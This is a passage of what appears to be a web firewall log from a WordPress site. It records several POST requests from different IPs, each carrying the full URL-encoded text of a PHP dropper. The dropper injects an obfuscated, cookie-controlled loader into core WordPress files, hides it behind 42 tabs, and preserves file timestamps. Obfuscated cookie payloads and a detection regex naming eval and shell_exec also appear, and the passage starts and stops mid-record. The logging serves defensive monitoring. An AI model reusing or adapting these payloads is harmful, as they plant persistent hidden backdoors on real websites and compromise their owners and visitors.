524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:49:24","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:3296\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nGZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:49:51","38.99.81.38","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:3263\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nsP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:50:01","91.142.222.105","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo1pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3263\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\noW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:50:34","41.76.213.235","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ku:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS256.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B13%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B27%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B7%255D%2528%2524p%255B22%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 